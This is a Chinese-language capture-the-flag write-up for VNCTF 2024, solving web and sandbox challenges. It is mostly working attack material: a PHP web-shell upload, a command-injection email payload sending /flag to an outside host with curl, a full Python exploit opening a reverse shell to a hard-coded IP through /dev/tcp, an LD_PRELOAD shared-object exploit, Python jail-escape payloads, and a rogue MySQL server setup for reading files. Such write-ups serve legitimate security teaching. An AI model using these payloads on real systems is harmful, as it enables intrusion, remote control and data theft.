本文最后更新于 333 天前,其中的信息可能已经有所发展或是发生改变。
能打,只能打一会儿,太喜欢摸鱼了Orz
Web
Checkin
var _0x3d9d=["\x56\x4e\x43\x54\x46\x7b\x57\x33\x31\x63\x30\x6d\x33\x5f\x74\x30\x5f\x56\x4e\x43\x54\x46\x5f\x32\x30\x32\x34\x5f\x67\x40\x6f\x64\x5f\x4a\x30\x42\x21\x21\x21\x21\x7d"];
console.log(_0x3d9d[0]);
TrySent
POST /user/upload/upload HTTP/1.1
Host: 0e523d82-2680-414c-a150-7bded818c339.vnctf2024.manqiu.top
Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728
Content-Length: 767
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Referer: https://0e523d82-2680-414c-a150-7bded818c339.vnctf2024.manqiu.top/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"
test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"
image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"
164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg
JFIF
<?php eval($_GET['cmd']);?>
------WebKitFormBoundaryrhx2kYAMYDqoTThz--
CutePath
很怪一网站,这功能理解不了
- 先看issues
- 目录穿越到
/home/ming
,有个base64的文件名(这真的会有人这么放文件么),拿到登录密码
YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz
admin:gdgm.edu.cn@M1n9K1n9P@as
- 登陆后找到flag位置,修改其文件名为
/home/ming/share_main/flag.txt
,文件即可被移动至共享目录,下载即可
codefever_again
- 看看
issues
- 一个因邮箱产生的命令注入,不能有空格,注册时抓包改邮箱为
`curl${IFS}ip:port/$(cat${IFS}/flag)`@qq.com
- 创建一个仓库,然后创建合并请求即可触发或者点击任意仓库即可触发
/api/repository/mergeRequests
/api/repository/config
- 或者先正常创建一个合法邮箱用户,然后在个人信息处修改邮箱,不需要绕过空格
POST /api/user/updateBasicInfo? HTTP/1.1
Host: 10.0.0.236:12345
Content-Length: 464
Cache-Control: max-age=0
Accept: application/json
codefever-end-env: codefever-app
codefever-end-lang: zh-cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2gOjHNQlcgBHXyBW
Origin: http://10.0.0.236:12345
Referer: http://10.0.0.236:12345/settings/client
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: codefever_community=XXX
Connection: close
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="name"
user_5aa1ce
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="email"
`curl ip:port/$(cat /flag)`@qq.com
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="team"
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="role"
------WebKitFormBoundary2gOjHNQlcgBHXyBW--
- 此时点击任意一个仓库即可触发
- 贴个出题人的exp
(但凡早起一点儿这exp就到手了,哭
import cmd
import json
import random
import string
import requests
from colorama import *
s = requests.session()
def generate_random_string(length=6):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
random_name = generate_random_string()
random_name_repo = generate_random_string()
def register(cmd, url):
# bash${IFS}-c${IFS}'bash${IFS}-i>&/dev/tcp/8.130.24.188/7771<&1'
register_url = f"{url}/user/register"
data = {
"email": f"{random_name};{cmd}@qq.com",
"password": "123456",
"rePassword": "123456"
}
res = s.post(url=register_url, data=data)
print(res.text)
def login(cmd, url):
login_url = f"{url}/user/login"
data = {
"email": f"{random_name};{cmd}@qq.com",
"password": "123456"
}
res = s.post(url=login_url, data=data)
print(res.text)
def create_rep_group(url):
create_url = f"{url}/api/group/create?"
data = {
"name": random_name_repo,
"type": "2",
"displayName": random_name_repo,
"description": random_name_repo,
}
res = s.post(
url=create_url,
data=data,
headers={
"Accept": "application/json"})
print(res.content)
def get_group_token(url):
token_url = f"{url}/api/group/list"
res = s.get(url=token_url, headers={"Accept": "application/json"}).text
print(res)
data = json.loads(res)
rows = data['data']
for row in rows:
if row['name'] == random_name_repo:
return row['id']
def create_repo(url):
create_url = f"{url}/api/repository/create?"
data = {
"group": get_group_token(url),
"name": random_name_repo,
"displayName": random_name_repo,
"description": random_name_repo
}
res = s.post(
url=create_url,
data=data,
headers={
"Accept": "application/json"})
print(res.text)
def get_repo_token(url):
token_url = f"{url}/api/repository/list"
res = s.get(url=token_url, headers={"Accept": "application/json"}).text
data = json.loads(res)
rows = data['data']
for row in rows:
if row['name'] == random_name_repo:
return row['id']
def triggle(url):
triggle_url = f"{url}/api/repository/branchList"
params = {"repository": get_repo_token(url)}
res = s.get(
url=triggle_url,
params=params,
headers={
"Accept": "application/json"}).text
print(res)
class TaskManagerCLI(cmd.Cmd):
def __init__(self):
super(TaskManagerCLI, self).__init__()
def do_revshell(self, arg):
"""
[reverse_shell] target_host rev_host rev_port
revshell http://example.com xxx.xxx.xxx.xxx 8888
target_host does not need '/' in the end
"""
if arg:
args = arg.split(" ", 2)
print(args)
if len(args) != 3:
raise ValueError("Usage:revshell url host port")
url = args[0]
host = args[1]
port = args[2]
cmd = f"bash${{IFS}}-c${{IFS}}'bash${{IFS}}-i>&/dev/tcp/{host}/{port}<&1'"
print(cmd)
register(cmd, url)
login(cmd, url)
create_rep_group(url)
create_repo(url)
triggle(url)
else:
print("[reverse_shell] host port")
def do_quit(self, arg):
"""Quit the CLI: quit"""
print("GoodBye Hacker!")
return True
cli = TaskManagerCLI()
cli.prompt = f"{Fore.BLUE}PopConsole> {Style.RESET_ALL}"
cli.cmdloop(
f"{Fore.GREEN}Welcome to Task Manager CLI. Type 'help' for available commands.{Style.RESET_ALL}")
givenphp
- index.php
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
- exp.c
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
system("cat /f* > /var/www/html/flag.txt");
return 0;
}
// gcc exp.c -o exp.so -fPIC -shared -ldl -D_GNU_SOURCE
- exp.py
import requests
url = "http://d3e0ff65-d396-44d9-9438-707d48c5d703.vnctf2024.manqiu.top/index.php"
data = {
"upload": 1
}
file = {
"file": open('exp.so', 'rb')
}
r = requests.post(url, data=data, files=file)
path = r.text[-45:]
for i in range(100):
param = {
"challenge": 1,
"key": "LD_PRELOAD",
"value": path,
"guess": '\x00lambda_20'
}
r = requests.get(url, params=param)
print(r.text)
Misc
pyjail
- server.py
black_list = [
'import',
'getattr',
'setattr',
'delattr',
'eval',
'exec',
'global',
'local',
'builtin',
'input',
'compile',
'help',
'breakpoint',
'license',
'byte',
'.',
'[',
'+',
'#',
'\'',
'"',
'{']
def check_ascii(code):
assert code.isascii()
def check_black_list(code):
for item in black_list:
assert item not in code, f'bad: {item}'
if __name__ == '__main__':
code = """
"""
check_ascii(code)
check_black_list(code)
try:
exec(code)
except BaseException as e:
print('Exception!', e)
- 参考2024 强网杯空白✌的题,最终调用了
breakpoint
match vars():
case object(items=i):
pass
match list(i()):
case object(pop=p):
match list(p(6)):
case object(pop=p):
match p():
case object(__dict__=d):
match d:
case object(values=v):
match list(v()):
case object(pop=p):
p(12)()
- 空白✌的exp
x = vars()
x |= vars(tuple)
l = *(y for y in list(vars()) if chr(98) in y),
b = __getitem__(l, 0)
x |= vars(dict)
bu = __getitem__(vars(), b)
l = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y),
x |= vars(tuple)
brs = __getitem__(l, 0)
x |= vars(dict)
br = __getitem__(vars(bu), brs)
br()
- 这段exp,主要通过修改
vars()
以及|
的拼接效果(去重)为环境变量添加新的方法,分别看看这两个点的效果 - 修改
vars()
改变环境
- 则可以通过将部分
object
得属性添加至全局,直接进行调用以此绕过.
的过滤
x = vars()
# tuple 的 method 合并至vars()
x |= vars(tuple)
# 注意有个 ,
l = *(y for y in list(vars()) if chr(98) in y),
# l = ("__builtins__", "__getattribute__")
# 通过索引获取 "__builtins__"
b = __getitem__(l, 0)
# 调用 tuple.__getitem__ 取到字符串 "__builtins__"
# dict 的 method 合并至 vars(),其中 tuple 与 dict 都含有名为 __getitem__ 的方法,此时原本 tuple.__getitem__ 被覆盖为 dict.__getitem__
x |= vars(dict)
# 参数类型发生变化,通过 "__builtins__" 获取 __builtins__
bu = __getitem__(vars(), b)
# 注意有个 ,
l = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y),
# l = ("breakpoint")
# dict.__getitem__ 覆盖为 tuple.__getitem__
x |= vars(tuple)
# 获取 "breakpoint"
brs = __getitem__(l, 0)
# tuple.__getitem__ 覆盖为 dict.__getitem__
x |= vars(dict)
# 获取 breakpoint
br = __getitem__(vars(bu), brs)
br()
- 小小的改动一下
x = vars()
x |= vars(dict)
for b in (y for y in list(vars()) if chr(98) in y and chr(97) not in y):
b = __getitem__(vars(), b)
for c in (y for y in list(vars(b)) if chr(98) in y and chr(112) in y and chr(73) not in y):
__getitem__(vars(b), c)()
OnlyLocalSql
原来是非预期
- 先看看有些啥
ctf@out:~$ ./fscan -h 127.0.0.1
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
127.0.0.1:22 open
127.0.0.1:80 open
127.0.0.1:9000 open
[*] alive ports len is: 3
start vulscan
[+] FCGI 127.0.0.1:9000
Status: 403 Forbidden
X-Powered-By: PHP/7.3.33
Content-type: text/html; charset=UTF-8
Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)
plesa try other path,as -path /www/wwwroot/index.php
[*] WebTitle http://127.0.0.1 code:200 len:1309 title:数据库连接
[+] PocScan http://127.0.0.1 poc-yaml-php-cgi-cve-2012-1823
ctf@out:/var/www$ ls -l
total 4
drwxrwxrwx 1 www-data www-data 4096 Feb 6 13:11 html
ctf@out:/$ ls -l
total 76
drwxr-xr-x 1 root root 4096 Feb 12 11:43 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 360 Feb 17 06:45 dev
drwxr-xr-x 1 root root 4096 Feb 17 06:45 etc
-rwxrwx--- 1 www-data www-data 44 Feb 17 06:45 flag
drwxr-xr-x 1 root root 4096 Feb 12 11:44 home
drwxr-xr-x 1 root root 4096 Feb 12 11:43 lib
drwxr-xr-x 2 root root 4096 Mar 16 2022 lib64
drwxr-xr-x 2 root root 4096 Mar 16 2022 media
drwxr-xr-x 2 root root 4096 Mar 16 2022 mnt
drwxr-xr-x 2 root root 4096 Mar 16 2022 opt
dr-xr-xr-x 1592 root root 0 Feb 17 06:45 proc
drwx------ 1 root root 4096 Mar 18 2022 root
drwxr-xr-x 1 root root 4096 Feb 17 06:45 run
drwxr-xr-x 1 root root 4096 Feb 12 11:43 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2022 srv
dr-xr-xr-x 13 root root 0 Feb 17 06:45 sys
drwxrwxrwt 1 root root 4096 Feb 12 11:44 tmp
drwxr-xr-x 1 root root 4096 Mar 16 2022 usr
drwxr-xr-x 1 root root 4096 Mar 17 2022 var
- 在/var/www/html目录下有MySQL的密码,但是没用,服务都没起
/flag
所属为www-data
,上传一个test.php文件至/var/www/html
<?php
system("cat /flag");
- 访问test.php即可
ctf@out:/var/www/html$ curl http://127.0.0.1/test.php
vnctf{flag}
预期解
- 通过ssh进行端口转发,使用恶意客户端读取
/flag
- rogue_mysql_server config.yaml
host: 0.0.0.0
port: 33060
version_string: "10.4.13-MariaDB-log"
file_list: ["/flag"]
save_path: ./loot
always_read: true
from_database_name: false
max_file_size: 0
auth: false
users:
- root: root
- root: password
jdbc_exploit: false
always_exploit: false
ysoserial_command:
cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4']
cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']
- ssh端口转发
// 将服务器80转发至本地8080,将本地33060转发至服务器33060
ssh ctf@manqiu.top -p 21594 -L *:8080:127.0.0.1:80 -R 33060:127.0.0.1:33060
- 执行任意sql命令即可读取flag
- 再者不转发直接把rogue_mysql_server传上去也行,只是没有web端方便